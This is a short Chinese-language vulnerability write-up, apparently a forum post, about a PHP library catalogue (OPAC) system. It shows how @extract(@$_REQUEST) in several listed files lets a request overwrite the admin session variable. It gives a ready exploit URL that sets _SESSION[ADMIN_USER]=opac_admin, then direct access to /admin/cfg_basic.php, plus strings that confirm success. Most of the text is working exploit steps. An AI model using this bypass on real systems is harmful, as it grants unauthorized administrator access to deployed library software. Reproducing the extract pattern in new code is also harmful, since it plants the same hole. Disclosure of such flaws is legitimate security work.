### 登陆页面
```
session_start( );
if ( isset( $_REQUEST['username'] ) )
{
$strUser = trim( $_REQUEST['username'] );
$strInput = trim( $_REQUEST['passwd'] );
$strMsg = "用户名或者密码错误";
switch ( $strUser )
{
case "opac_admin" :
$strPassWd = $strPassWdFile;
$strMsg = verify_pwd( $strInput, $strPassWd );
if ( $strMsg == true )
{
$_SESSION['ADMIN_USER'] = $strUser;
}
$strUrl = "cfg_basic.php";
break;
```
### 其他页面判断
```
if ( !isset( $_SESSION['ADMIN_USER'] ) )//不为空就OK了、、、
{
header( "Location:login.php" );
exit( );
}
```
### 漏洞点(多个文件存在)
```
@extract( @$_REQUEST );
```
### 存在漏洞文件
```
/recm/common.php
/opac/openlink_ebk.php
/opac/hw_center.php
/opac/ajax_ebook.php
/manual/common.php
/calis/idp.php
/calis/idp.noencode.php
/top/top_custom.php
```
### 利用方法
1. 访问存在漏洞文件,并覆盖 session 值
例如:
```
/recm/common.php?_SESSION[ADMIN_USER]=opac_admin
```
2. 直接访问 `/admin/cfg_basic.php`
### 成功判断
访问 `/admin/cfg_basic.php` 文件获得`strSchoolName`、`aryBrowseClsShow`等标识字符串即为成功。
全部评论 (1)